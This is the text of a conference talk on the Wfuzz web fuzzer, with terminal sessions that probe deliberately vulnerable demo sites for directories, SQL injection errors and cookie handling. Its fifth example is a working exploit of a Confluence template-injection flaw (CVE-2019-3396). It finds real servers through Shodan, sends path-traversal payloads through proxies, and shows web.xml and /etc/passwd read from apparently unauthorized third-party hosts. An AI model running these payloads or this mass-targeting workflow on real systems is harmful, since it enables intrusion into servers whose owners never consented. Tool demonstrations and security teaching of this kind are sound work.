

Hola! :)

**Thank you for
being here and
Bsides BCN for
having me!**

I am **Xavi** Méndez main
developer of **Wfuzz** and
principal security
engineer at



... shameless
plug... yeah, I am
going to **talk** about
Wfuzz

Welcome to...

**Offensive Wfuzz for
web bug hunters (~25
min and ~50 slides!!)**

Brief history:

Wfuzz 0.x - 1.3 ~ **2006** - 2007

...

Wfuzz 1.4d - 2.0 ~ 2011

...

Wfuzz 2.1.x ~ 2014 - 2017

Wfuzz 2.2.x ~ 2017 - 2018

Wfuzz 2.3.x ~ 2018

Wfuzz 2.4 ~ **2019**

“Wfuzz has been created to facilitate the task in web applications assessments and it is based on a simple concept: it **replaces** any reference to the **FUZZ keyword** by the value of a given payload.”

Similar tools?



Sura

@SecuritySura

Dirb, dirbuster, gobuster, dirsearch
one which one is the best?

Scott Bollinger @kfalconspb

DeepSearch - Advanced Web Dir Scanner #learnit, #security
kitexploit.com/2018/11/deepse...

12:01 AM - 5 Dec 2018

8 Retweets 18 Likes



7



8



18



Jason Haddix

@Jhaddix

Following



What are you all using for directory brute force / content discovery and why? I'm still working with **gobuster** but looking to hear other perspectives. **Dirsearch, dirb, wfuzz, Burp...** seems hunter's using a variety...

8:34 AM - 18 Nov 2018 from **Goleta, CA**

35 Retweets 166 Likes



Is Wfuzz a
content discovery /
Directory brute force /
File fuzzing
Tool ?!

Well,... yes...

Example 1: Classic **content**
discovery against
WebInspect's Zero bank
demo website

http://zero.webappsecurity.com

[zero.webappsecurity.com](#)

Zero Bank

Search

Signin


HOME

ONLINE BANKING

FEEDBACK

Online Banking

Welcome to Zero Online Banking. Zero provides a greener and more convenient way to manage your money. Zero enables you to check your account balances, pay your bills, transfer money, and keep detailed records of your transactions, wherever there is an internet connection.



Online Banking

Click the button below to view online banking features.

Checking Account Activity

Use Zero to view the most up-to-date listings of your deposits, withdrawals, interest payments, and a number of other

Transfer Funds

Use Zero to safely and securely transfer funds between accounts. There is no hold placed on online money transfers, so your

My Money Map

Use Zero to set up and monitor your personalized money map. A money map is an easy-to-use online tool that helps you

```
$ wfuzz -w quickhits.txt -u http://zero.webappsecurity.com/FUZZ --hc 404 -t 100
*****
* Wfuzz 2.4 - The Web Fuzzer
*****
```

```
Target: http://zero.webappsecurity.com/FUZZ
Total requests: 2377
```

ID	Response	Lines	Word	Chars	Payload
000000497:	200	171 L	465 W	6610 Ch	"/admin%20/"
000000508:	200	171 L	465 W	6610 Ch	"/admin/"
000000725:	403	0 L	46 W	961 Ch	"/backup/"
000001076:	403	0 L	46 W	961 Ch	"/db/"
000001189:	200	18 L	76 W	1384 Ch	"/errors/"
000001095:	200	187 L	2383 W	27144 Ch	"/debug.txt"
000001540:	401	63 L	289 W	2536 Ch	"/manager/html"
000001539:	302	0 L	0 W	0 Ch	"/manager/"
000001919:	200	27 L	212 W	1225 Ch	"/Readme.txt"
000001920:	200	27 L	212 W	1225 Ch	"/readme.txt"
000001918:	200	27 L	212 W	1225 Ch	"/README.txt"
000002053:	403	0 L	46 W	961 Ch	"/stats/"

```
Total time: 5.128938
Processed Requests: 2377
Filtered Requests: 2365
Requests/sec.: 463.4487
```

Many juicy
dirs here



For example, some clear text passwords...

zero.webappsecurity.com/admin/users.html

Zero Bank

Search

Signin

Users

[Home](#)

[Users](#)

[Currencies](#)

Name	Password	SSN
Leeroy Jenkins	VIZ10AWT8VL	536-48-3769
Stephen Bowen	OTZ07BXM0BE	607-58-7435
Linus Moran	FKO04SXA7TI	247-54-1719
Nero Chan	TXJ77CQO5EI	578-13-3713
Kadeem Higgins	MFC50OQE7VO	449-20-3206
Quinn Burks	HWZ97ZUM3NK	008-70-6738
Davis Thompson	RGD78SHB0TG	574-56-1932
Lester Keller	EIJ79NLT0TP	330-58-4012

But it does **more**
many things than
that...

Other **examples** at

[https://wfuuzz.readthedocs.io/
en/latest/user/basicusage.ht
ml](https://wfuuzz.readthedocs.io/en/latest/user/basicusage.html)

Check

<https://wfuzz.readthedocs.io/en/latest/user/advanced.html>

Filter Language

Wfuzz's filter language grammar is build using [pyparsing](#), therefore it must be installed before using the command line parameters “-filter, -prefilter, -slice”.

A filter expression must be built using the following symbols and operators:

- Boolean Operators

“and”, “or” and “not” operators could be used to build conditional expressions.

- Expression Operators

Expressions operators such as “= != < > >= <=” could be used to check values. Additionally, the following for matching text are available:

Operator	Description
=~	True when the regular expression specified matches the value.
~	Equivalent to Python's “str2” in “str1” (case insensitive)
!~	Equivalent to Python's “str2” not in “str1” (case insensitive)

Where values could be:

• • • •

Reutilising previous results

Previously performed HTTP requests/responses contain a treasure trove of data. Wfuzz payloads and object introspection (explained in the filter grammar section) exposes a Python object interface to requests/responses recorded by Wfuzz or other tools.

This allows you to perform manual and semi-automatic tests with full context and understanding of your actions, without relying on a web application scanner underlying implementation.

Some ideas:

- Replaying individual requests as-is
- Comparing response bodies and headers of fuzzed requests against their original
- Looking for requests with the CSRF token exposed in the URL
- Looking for responses with JSON content with an incorrect content type

• • • •

Some think so...



k

@icommitfelonies

Replying to @7hunderSon @TinkerSec @UK_Daniel_Card

I do. Wfuzz is my jam

6:26 AM - 28 Mar 2019

4 Likes



4



PwnySec

@ChickenPwNy

Follow



WFUZZ is a powerful fuzzer, you can enumerate directories, Wierd directories. You can also use it for bruteforcing passwords, look for Lfi, I could keep going. This is a swiss army knife it doesn't beat manual enumeration. Becoming dependent on this tool to look for SQL injection

10:16 PM - 28 Mar 2019



1



Tweet your reply

And others not...



ム刀ひモレ

@saurinn_

Follow



Fuck wfuzz, the only good thing about it is it's wordlist. I'm dtaying with dirb for file fuzzing and dirbuster for directory brute and of course nikto just for general usage

Example 2: Reading from a
burp session and analyzing
stored requests with
wfpayload

http://testphp.vulnweb.com Burp session....

Filter: Hiding not found items; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders

Logging of out-of-scope Proxy traffic is disabled [Re-enable](#)

Host	Method	URL	Params	Status	Length	MIME type	Title	Comment	Time requ...
http://testphp.vulnwe...	GET	/		200	4281	HTML	Home of Acunetix Art		22:42:58 8 ...
http://testphp.vulnwe...	GET	/AJAX/							
http://testphp.vulnwe...	GET	/AJAX/index.php							
http://testphp.vulnwe...	GET	/Flash/							
http://testphp.vulnwe...	GET	/Flash/add fla							
http://testphp.vulnwe...	GET	/Flash/add.swf							
http://testphp.vulnwe...	GET	/Mod_Rewrite_Shop/							
http://testphp.vulnwe...	GET	/Mod_Rewrite_Shop/i...							
http://testphp.vulnwe...	GET	/artists.php							
http://testphp.vulnwe...	GET	/artists.php?artist=1							
http://testphp.vulnwe...	GET	/artists.php?artist=2							

Request **Response**

Raw **Headers** **Hex**

GET / HTTP/1.1
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64;
Accept: text/html,application/xhtml+xml,application
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Logging

These settings control logging of HTTP requests and responses.

All tools:	<input checked="" type="checkbox"/> Requests	<input checked="" type="checkbox"/> Responses
Proxy:	<input checked="" type="checkbox"/> Requests	<input checked="" type="checkbox"/> Responses
Spider:	<input checked="" type="checkbox"/> Requests	<input checked="" type="checkbox"/> Responses
Scanner:	<input checked="" type="checkbox"/> Requests	<input checked="" type="checkbox"/> Responses
Intruder:	<input checked="" type="checkbox"/> Requests	<input checked="" type="checkbox"/> Responses
Repeater:	<input checked="" type="checkbox"/> Requests	<input checked="" type="checkbox"/> Responses
Sequencer:	<input checked="" type="checkbox"/> Requests	<input checked="" type="checkbox"/> Responses
Extender:	<input checked="" type="checkbox"/> Requests	<input checked="" type="checkbox"/> Responses

Let's read from the Burp session....

```
$ ./wfpayload -z burplog --zD /tmp/burp.log --slice "r.params.all and r.pstrip|u()"
```

```
*****
```

```
* Wfuzz 2.4 - The Web Fuzzer *
```

```
*****
```

```
=====
```

ID	Response	Lines	Word	Chars	Payload
----	----------	-------	------	-------	---------

```
=====
```

000000015:	200	98 L	268 W	3863 Ch	"http://testphp.vulnweb.com/search.php?test=query"
000000027:	200	98 L	265 W	3802 Ch	"http://testphp.vulnweb.com/search.php?test=query"
000000028:	200	107 L	302 W	4484 Ch	"http://testphp.vulnweb.com/guestbook.php"
000000035:	200	102 L	427 W	6949 Ch	"http://testphp.vulnweb.com/listproducts.php?cat=1"
000000038:	200	118 L	448 W	5322 Ch	"http://testphp.vulnweb.com/artists.php?artist=1"
000000043:	200	38 L	88 W	1150 Ch	"http://testphp.vulnweb.com/comment.php?aid=1"
000000046:	200	5 L	12 W	336 Ch	"http://testphp.vulnweb.com/hpp/?pp=12"
000000062:	200	112 L	450 W	5531 Ch	"http://testphp.vulnweb.com/product.php?pic=6"
000000063:	200	38 L	88 W	1151 Ch	"http://testphp.vulnweb.com/comment.php?pid=6"
000000064:	0	0 L	0 W	0 Ch	"http://testphp.vulnweb.com/showimage.php?file=./pictures/6.jpg"
000000065:	200	97 L	259 W	3768 Ch	"http://testphp.vulnweb.com/listproducts.php?artist=3"
000000074:	200	0 L	0 W	0 Ch	"http://testphp.vulnweb.com/hpp/params.php?p=valid&pp=12"
000000091:	302	38 L	88 W	1144 Ch	"http://testphp.vulnweb.com/comment.php"
000000092:	200	0 L	0 W	0 Ch	"http://testphp.vulnweb.com/hpp/params.php?p=valid&pp=12&aaaa%252f="
000000093:	200	103 L	285 W	3978 Ch	"http://testphp.vulnweb.com/cart.php"

```
$ █
```

Example 3: The good all days
of testing a **SQLi** with a ' in
every parameter... The
Wfuzz way

<http://testphp.vulnweb.com/> SQLi

artists

x +

← → ↻

Not secure | testphp.vulnweb.com/artists.php?artist=2%27

 acunetix

 acuart

TEST and Demonstration site for Acunetix Web Vulnerability Scanner

[home](#) | [categories](#) | [artists](#) | [disclaimer](#) | [your cart](#) | [guestbook](#) | [AJAX Demo](#)

search art

go

[Browse categories](#)

[Browse artists](#)

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/artists.php on line 62

How? Let's **replay** all
the HTTP Requests with
GET params, adding ' to
every value

```
$ ./wffuzz -z burplog --zD /tmp/burp.log --slice "r.params.get and r.pstrip|u()" -u FUZZ --prefilter "r.params.get=+'\\" --script errors -c
*****
* Wffuzz 2.4 - The Web Fuzzer
*****
```



Target: FUZZ
Total requests: <<unknown>>

ID	Response	Lines	Word	Chars	Payload
000000017:	200	100 L	290 W	4042 Ch	"http://testphp.vulnweb.com/search.php?test=query"
_ Error identified: Warning: mysql_fetch_array()					
000000031:	200	100 L	287 W	3981 Ch	"http://testphp.vulnweb.com/search.php?test=query"
_ Error identified: Warning: mysql_fetch_array()					
000000041:	200	99 L	311 W	4107 Ch	"http://testphp.vulnweb.com/listproducts.php?cat=1"
_ Error identified: Warning: mysql_fetch_array()					
000000046:	200	101 L	287 W	3986 Ch	"http://testphp.vulnweb.com/artists.php?artist=1"
_ Error identified: Warning: mysql_fetch_array()					
000000053:	200	38 L	96 W	1252 Ch	"http://testphp.vulnweb.com/comment.php?aid=1"
000000058:	200	5 L	16 W	388 Ch	"http://testphp.vulnweb.com/hpp/?pp=12"
000000076:	200	107 L	300 W	4313 Ch	"http://testphp.vulnweb.com/product.php?pic=6"
_ Error identified: Warning: mysql_fetch_array()					
000000079:	200	38 L	96 W	1253 Ch	"http://testphp.vulnweb.com/comment.php?pid=6"
000000082:	200	6 L	42 W	329 Ch	"http://testphp.vulnweb.com/showimage.php?file=./pictures/6.jpg"
000000096:	200	0 L	1 W	9 Ch	"http://testphp.vulnweb.com/hpp/params.php?p=valid'&pp=12"
000000085:	200	99 L	311 W	4107 Ch	"http://testphp.vulnweb.com/listproducts.php?artist=3"
_ Error identified: Warning: mysql_fetch_array()					
000000116:	200	0 L	1 W	9 Ch	"http://testphp.vulnweb.com/hpp/params.php?p=valid'&pp=12'&aaaa%252f="

Total time: 0.738049
Processed Requests: 12
Filtered Requests: 0
Requests/sec.: 16.25906

Example 4: Attack web
session management by
replaying requests
manipulating cookies

← → ↻ ⓘ Not secure | testphp.vulnweb.com/cart.php

TEST and Demonstration site for Acunetix Web Vulnerability Scanner

[home](#) | [categories](#) | [artists](#) | [disclaimer](#) | [your cart](#) | [guestbook](#) | [AJAX Demo](#)

search art

Error

You are not logged on. To l

- [Browse categories](#)
- [Browse artists](#)
- [Your cart](#)
- [Signup](#)

← → ↻ ⓘ Not secure | testphp.vulnweb.com/login.php

TEST and Demonstration site for Acunetix Web Vulnerability Scanner

[home](#) | [categories](#) | [artists](#) | [disclaimer](#) | [your cart](#) | [guestbook](#) | [AJAX Demo](#)

search art

[Browse categories](#)

[Browse artists](#)

[Your cart](#)

[Signup](#)

[Your profile](#)

[Our guestbook](#)

[AJAX Demo](#)

If you are already registered please enter your login information below:

Username :

Password :

You can also [signup here](#).
Signup disabled. Please use the username **test** and the password **test**.

What HTTP responses did **set** a cookie?

```
$ ./wfpayload -z burplog --zD /tmp/burp2.log --slice "r.cookies.response" --field r.cookies.all
*****
* Wfuzz 2.4 - The Web Fuzzer *
*****
```

ID	Response	Lines	Word	Chars	Payload
000000021:	200	114 L	350 W	5060 Ch	"http://testphp.vulnweb.com/userinfo.php login=test%2Ftest"

```
$ █
```

What HTTP requests are sending that cookie?

```
$ ./wfpayload -z burplog --zD /tmp/burp2.log --slice "r.cookies.request~'login' and not r.urlp.isbllist" --field r.cookies.all
```

```
*****
```

```
* Wfuzz 2.4 - The Web Fuzzer *
```

```
*****
```

```
=====
ID           Response  Lines   Word    Chars   Payload
=====
```

000000037:	200	114 L	349 W	5063 Ch	"http://testphp.vulnweb.com/userinfo.php login=test%2Ftest"
000000040:	200	107 L	304 W	4534 Ch	"http://testphp.vulnweb.com/guestbook.php login=test%2Ftest"
000000043:	200	100 L	303 W	4696 Ch	"http://testphp.vulnweb.com/cart.php login=test%2Ftest"
000000046:	200	99 L	291 W	4473 Ch	"http://testphp.vulnweb.com/artists.php login=test%2Ftest"
000000049:	200	111 L	408 W	5260 Ch	"http://testphp.vulnweb.com/categories.php login=test%2Ftest"
000000057:	200	100 L	303 W	4696 Ch	"http://testphp.vulnweb.com/cart.php login=test%2Ftest"
000000060:	200	114 L	349 W	5063 Ch	"http://testphp.vulnweb.com/userinfo.php login=test%2Ftest"

```
$ █
```

What if we send the same request without that cookie value? (1)

```
$ ./wffuzz -z burplog --zD /tmp/burp2.log --slice "r.cookies.request~'login' and not r.urlp.isbllist" -b "login='" -u FUZZ --prev -c -v --filter "c!=FUZZ[c]"
*****
* Wffuzz 2.4 - The Web Fuzzer *
*****
```

```
Target: FUZZ
Total requests: <<unknown>>
```

ID	C.Time	Response	Lines	Word	Chars	Server	Redirect	Payload
000000039:	0.120s	302	0 L	3 W	14 Ch	nginx/1.4.1	login.php	"http://testphp.vulnweb.com/userinfo.php"
_	0.000s	200	114 L	349 W	5063 Ch	nginx/1.4.1		"http://testphp.vulnweb.com/userinfo.php"
000000074:	0.113s	302	0 L	3 W	14 Ch	nginx/1.4.1	login.php	"http://testphp.vulnweb.com/userinfo.php"
_	0.000s	200	114 L	349 W	5063 Ch	nginx/1.4.1		"http://testphp.vulnweb.com/userinfo.php"

```
Total time: 0.531702
Processed Requests: 7
Filtered Requests: 5
Requests/sec.: 13.16524
```

```
$ █
```

What if we send the same request without that cookie value? (2)

```
$ ./wfuzz -z burplog --zD /tmp/burp2.log --slice "r.cookies.request~'login' and not r.urlp.isbllist" -b "login='" -u FUZZ --prev -c -v --filter "c=FUZZ[c]"
*****
* Wfuzz 2.4 - The Web Fuzzer *
*****
```

```
Target: FUZZ
Total requests: <<unknown>>
```

ID	C.Time	Response	Lines	Word	Chars	Server	Redirect	Payload
000000044:	0.111s	200	107 L	308 W	4558 Ch	nginx/1.4.1		"http://testphp.vulnweb.com/guestbook.php"
_	0.000s	200	107 L	304 W	4534 Ch	nginx/1.4.1		"http://testphp.vulnweb.com/guestbook.php"
000000049:	0.123s	200	98 L	274 W	3904 Ch	nginx/1.4.1		"http://testphp.vulnweb.com/cart.php"
_	0.000s	200	100 L	303 W	4696 Ch	nginx/1.4.1		"http://testphp.vulnweb.com/cart.php"
000000054:	0.117s	200	99 L	295 W	4499 Ch	nginx/1.4.1		"http://testphp.vulnweb.com/artists.php"
_	0.000s	200	99 L	291 W	4473 Ch	nginx/1.4.1		"http://testphp.vulnweb.com/artists.php"
000000059:	0.120s	200	111 L	412 W	5286 Ch	nginx/1.4.1		"http://testphp.vulnweb.com/categories.php"
_	0.000s	200	111 L	408 W	5260 Ch	nginx/1.4.1		"http://testphp.vulnweb.com/categories.php"
000000069:	0.114s	200	98 L	274 W	3904 Ch	nginx/1.4.1		"http://testphp.vulnweb.com/cart.php"
_	0.000s	200	100 L	303 W	4696 Ch	nginx/1.4.1		"http://testphp.vulnweb.com/cart.php"

```
Total time: 0.525589
Processed Requests: 7
Filtered Requests: 2
Requests/sec.: 13.31836
```

```
$ █
```


Example 5: How easy is to
exploit a recent (~ 20 days)
vulnerability in the wild!?

Disclaimer:

The content of this presentation is provided for **educational** and informational purposes only.

<https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html>

Widget Connector vulnerability - CVE-2019-3396

Severity

Atlassian rates the severity level of this vulnerability as **critical**, according to the scale published in [our Atlassian severity levels](#). The scale allows us to rank the severity as critical, high, moderate or low.

This is our assessment and you should evaluate its applicability to your own IT environment.

Description

There was an server-side template injection vulnerability in Confluence Server and Data Center, in the Widget Connector. An attacker is able to exploit this issue to achieve server-side template injection, path traversal and remote code execution on systems that run a vulnerable version of Confluence Server or Data Center.

All versions of Confluence Server and Confluence Data Center before version 6.6.12, from version 6.7.0 before 6.12.3 (the fixed version for 6.12.x), from version 6.13.0 before 6.13.3 (the fixed version for 6.13.x) and from version 6.14.0 before 6.14.2 (the fixed version for 6.14.x).

This issue can be tracked here:



Acknowledgements

Credit for finding this vulnerability goes to Daniil Dmitriev (https://twitter.com/ddv_ua).

Detailed **write-up** at

<https://paper.seebug.org/886/>, long story short:

```
$ curl
```

```
https://vulnerable.confluence.server.com/rest/tinymce/1/macro/preview -H
```

```
'content-type: application/json; charset=UTF-8'
```

```
-d '{"contentId":"1", "macro":{"name":"widget", "body":"","
```

```
"params":{"url":"https://www.whatever.com",
```

```
"_template":"your_evil_template_here"}}}'
```

How do we look for targets?



How do we investigate 26,352 targets automatically?

```
$ ./wfuuzz -z help --slice shodanp
```

```
Name: shodanp 0.1
```

```
Categories: default
```

```
Summary: Returns hostnames or IPs of a given Shodan API search (needs api key).
```

```
Author: Xavi Mendez (@xmendez)
```

```
Description:
```

```
    Queries the Shodan API
```

```
Parameters:
```

```
    + search: Shodan search string.
```

```
    - page (= 0): Offset page, starting at zero.
```

Let's look for confluence servers,
having the aforementioned
vulnerable path...

```
$ ./wfuzz -z shodanp --zD "X-Confluence" -u  
http://FUZZ/rest/tinymce/1/macro/preview -d  
"postdata" -Z -v --conn-delay 1 --follow --oF  
/tmp/session
```

\$./wffuzz -z shodanp --zD "X-Confluence" -u http://FUZZ/rest/tinymce/1/macro/preview -d 'random_post_data' -Z -v --conn-delay 1 --follow --of /tmp/session2

* Wfuzz 2.4 - The Web Fuzzer *

Target: http://FUZZ/rest/tinymce/1/macro/preview
Total requests: <<unknown>>

ID	C.Time	Response	Lines	Word	Chars	Server	Redirect	Payload
000000001:	0.154s	415	0 L	68 W	1135 Ch	Apache-Coyote/1.1		"31.13.169.100"
000000008:	0.000s	C=XXX	0 L	0 W	0 Ch			"ec2-18-220-0-144.us-east-2.compute-1.amazonaws.com/rest/tinymce/1/macro/preview"
000000005:	0.202s	404	9 L	32 W	318 Ch	Apache/2.4.10 (Debian)		"vmi96197.contaboserver.net/20-223-15-51.rev.cloudfront.net/23.96.118.129"
000000006:	0.000s	C=XXX	0 L	0 W	0 Ch			"149.28.38.19.vultr.com"
000000012:	0.229s	415	0 L	0 W	0 Ch			"static.43.14.69.159.cl"
000000011:	0.000s	C=XXX	0 L	0 W	0 Ch			
000000007:	0.461s	405	0 L	0 W	0 Ch		(*) https://static.43.14.69.159.clients.your-server.de/rest/tinymce/1/macro/preview	
000000015:	0.197s	404	7 L	13 W	178 Ch	nginx/1.14.0 (Ubuntu)		"static.172.116.69.159."
000000014:	0.346s	404	24 L	148 W	2758 Ch	Apache/2.4.7 (Ubuntu)	(*) https://jira-cel-softdev-staging.valiantys.net/rest/tinymce/1/macro/preview	"jira-cel-softdev-staging.valiantys.net/rest/tinymce/1/macro/preview"
000000013:	0.481s	415	0 L	0 W	0 Ch			"mail.mayahtt.com"
000000010:	0.790s	405	0 L	0 W	0 Ch	nginx/1.10.3 (Ubuntu)	(*) https://ec2-18-211-161-92.compute-1.amazonaws.com/rest/tinymce/1/macro/preview	"ec2-18-211-161-92.compute-1.amazonaws.com/rest/tinymce/1/macro/preview"
000000019:	0.000s	C=XXX	0 L	0 W	0 Ch			"39.97.170.206! Pycurl"
000000016:	0.448s	415	0 L	0 W	0 Ch	Apache/2.4.7		"euvel11840.serverprofil.com/211.65.99.199"
000000004:	0.934s	404	17 L	115 W	2392 Ch			"ec2-52-208-110-178.eu-central-1.amazonaws.com/ip157-97-108-229.pbias.com"
000000002:	0.000s	C=XXX	0 L	0 W	0 Ch			
000000003:	1.020s	405	0 L	0 W	0 Ch	nginx	(*) https://vodafone-confluence.mein-testsystem.de/rest/tinymce/1/macro/preview	
000000022:	0.201s	404	7 L	12 W	168 Ch	nginx/1.6.2		"f1-confluence-dmz.info"
000000018:	0.000s	C=XXX	0 L	0 W	0 Ch			"188x134x79x118.static.ec2-35-158-117-210.eu-central-1.amazonaws.com/202.69.62.42"
000000028:	0.091s	404	9 L	32 W	345 Ch	Apache/2.4.18 (Ubuntu)		
000000009:	1.139s	405	0 L	56 W	1034 Ch	nginx/1.10.2	(*) https://confluence.vantibolli.com/rest/tinymce/1/macro/preview	
000000021:	0.472s	404	18 L	121 W	2325 Ch	nginx/1.6.2		"50-76-247-153-static.hk188x134x79x118.static.ec2-35-158-117-210.eu-central-1.amazonaws.com/202.69.62.42"
000000030:	0.204s	404	6 L	24 W	315 Ch	Microsoft-HTTPAPI/2.0		"50-76-247-153-static.hk188x134x79x118.static.ec2-35-158-117-210.eu-central-1.amazonaws.com/202.69.62.42"
000000020:	0.683s	404	7 L	12 W	169 Ch	nginx/1.14.0		"162.246.17.6"
000000026:	0.441s	405	0 L	56 W	1056 Ch	nginx/1.10.3 (Ubuntu)	(*) https://static.238.28.201.138.clients.your-server.de/rest/tinymce/1/macro/preview	"47.91.154.119"
000000027:	0.671s	405	0 L	0 W	0 Ch	nginx	(*) https://59ec788e.symbio.com/rest/tinymce/1/macro/preview	"static.238.28.201.138.clients.your-server.de/rest/tinymce/1/macro/preview"
000000032:	0.475s	415	0 L	0 W	0 Ch			"59ec788e.symbio.com"
000000031:	0.597s	405	0 L	56 W	1056 Ch		(*) https://confluence.csc.fi/	"92.144.198.35.bc.googleusercontent.com/confluence.csc.fi"

Caveats: When you reuse a public API key...

Unhandled exception:

Insufficient query credits, please upgrade your API plan or wait for the monthly limit to reset

At least we got **100 results**
for free...

So, we have a bunch of redirects, different servers, response codes... Let's **filter** the **interesting** ones:

```
$ ./wfpayload -z wfuzzp --zD /tmp/session --slice "c=405 and url='confluence'" -v
```

```
*****  
* Wfuzz 2.4 - The Web Fuzzer *  
*****
```

ID	C.Time	Response	Lines	Word	Chars	Server	Redirect	Payload
000000003:	0.616s	405	0 L	56 W	1056 Ch	nginx/1.10.3 (Ubuntu)	(*) https://confluence.██████████.ml/rest/tinymce/1/macro/preview	"static.██████████.clients.your-server.de"
000000026:	0.241s	405	0 L	0 W	0 Ch		(*) https://confluence.██████████.fr/rest/tinymce/1/macro/preview	"confluence.██████████.fr"
000000047:	0.849s	405	0 L	0 W	0 Ch	nginx/1.15.7	(*) https://confluence.stage.██████████.com/rest/tinymce/1/macro/preview	"confluence.stage.██████████.com"
000000059:	0.848s	405	0 L	0 W	0 Ch		(*) https://confluence.██████████.de/rest/tinymce/1/macro/preview	"B██████████.ads.mwn.de"
000000065:	0.445s	405	0 L	0 W	0 Ch	Apache/2.4.20 (Ubuntu)	(*) https://confluence.██████████.nl/rest/tinymce/1/macro/preview	"██████████.eu-west-1.compute.amazonaws.com"
000000081:	0.643s	405	0 L	0 W	0 Ch	Apache/2.4.7 (Ubuntu)	(*) https://confluence-mandg.██████████.net/rest/tinymce/1/macro/preview	"confluence-mandg.██████████.net"
000000082:	1.601s	405	0 L	0 W	0 Ch	nginx/1.12.2	(*) https://confluence.██████████.com/rest/tinymce/1/macro/preview	"██████████.us-west-2.compute.amazonaws.com"
000000103:	0.197s	405	0 L	56 W	1056 Ch	nginx/1.10.3 (Ubuntu)	(*) https://confluence.██████████.ml/rest/tinymce/1/macro/preview	"static.██████████.clients.your-server.de"

Let's exploit them...

```
$ ./wffuzz -z wffuzzp --zD /tmp/session --slice "c=405 and url~'confluence'" -H 'Content-Type: application/json; charset=UTF-8' -d '{"contentId":"786457","macro":{"name":"widet","body":"","params":{"url":"https://www.viddler.com/v/23464dc5","width":"1000","height":"1000","_template":"../web.xml"}}}' -u FUZZ[url] -p 182.16.162.89:32247 --oF /tmp/bsides.bcn -Z -H "Origin: FUZZ[r.urlp.scheme]://FUZZ[r.urlp.netloc]"
```

* Wffuzz 2.4 - The Web Fuzzer *

Target: FUZZ[url]
Total requests: <<unknown>>

ID	Response	Lines	Word	Chars	Payload
000000003:	404	0 L	0 W	0 Ch	"https://confluence.stage.██████████.com/rest/tinymce/1/macro/preview - https - confluence.stage.██████████.com"
000000006:	200	141 L	452 W	20246 Ch	"https://confluence-mandg.██████████.s.net/rest/tinymce/1/macro/preview - https - confluence-mandg.██████████.net"
000000001:	200	1780 L	2481 W	76179 Ch	"https://confluence.██████████.l/rest/tinymce/1/macro/preview - https - confluence.██████████.ml"
000000008:	200	1780 L	2481 W	76179 Ch	"https://confluence.██████████.l/rest/tinymce/1/macro/preview - https - confluence.██████████.ml"
000000005:	200	1879 L	2580 W	79566 Ch	"https://confluence.██████████.l/rest/tinymce/1/macro/preview - https - confluence.██████████.nl"
000000004:	200	133 L	312 W	17189 Ch	"https://confluence.██████████.lrz.de/rest/tinymce/1/macro/preview - https - confluence.lrz.de"
000000007:	200	1885 L	2587 W	79764 Ch	"https://confluence.██████████.s.com/rest/tinymce/1/macro/preview - https - confluence.██████████.s.com"
000000002:	200	1905 L	2795 W	83570 Ch	"https://confluence.██████████.fr/rest/tinymce/1/macro/preview - https - confluence.██████████.fr"

Total time: 14.15836
Processed Requests: 8
Filtered Requests: 0
Requests/sec.: 0.565037

We only did the request without checking if they were vulnerable!! Let's see... we have **4 out of 100** (not that we tried really hard to find more!!)

```
$ ./wfpayload -z wfuzzp --zD /tmp/bsides.bcn --slice "content~'</web-app>'"
```

```
*****
```

```
* Wfuzz 2.4 - The Web Fuzzer *
```

```
*****
```

ID	Response	Lines	Word	Chars	Payload
000000001:	200	1780 L	2481 W	76179 Ch	"https://confluence.██████████.ml/rest/tinymce/1/macro/preview - https - confluence.██████████.ml"
000000008:	200	1780 L	2481 W	76179 Ch	"https://confluence.██████████.ml/rest/tinymce/1/macro/preview - https - confluence.██████████.ml"
000000005:	200	1879 L	2580 W	79566 Ch	"https://confluence.██████████.nl/rest/tinymce/1/macro/preview - https - confluence.██████████.nl"
000000007:	200	1885 L	2587 W	79764 Ch	"https://confluence.██████████.com/rest/tinymce/1/macro/preview - https - confluence.██████████.com"
000000002:	200	1905 L	2795 W	83570 Ch	"https://confluence.██████████.fr/rest/tinymce/1/macro/preview - https - confluence.██████████.fr"

```
$ █
```

Mmmhhh... are you **sure** is vulnerable?

```
$ http_proxy=46.150.174.90:53281 curl -s -H "Content-Type: application/json; charset=UTF-8" -d "{\"contentId\":\"786457\",\"macro\":{\"name\":\"widget\",\"body\":\"\",\"params\":{\"url\":\"https://www.viddler.com/v/23464dc5\",\"width\":\"1000\",\"height\":\"1000\"},\"_template\":{\"file:///etc/passwd\"}}}" "https://confluence.██████████rest/tinymce/1/macro/preview" | tail -n30
```

```
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
messagebus:x:101:102::/var/run/dbus:/bin/false
```

```
</div>
```

```
</div>
```

```
</div>
```

```
<!-- include system javascript resources -->
```

```
<!-- end system javascript resources -->
```

```
</body>
```

```
</html>
```

```
$ █
```

Example 6: How to **share** a complex request or give something **reproducible** to others?

1.- Create a recipe...

```
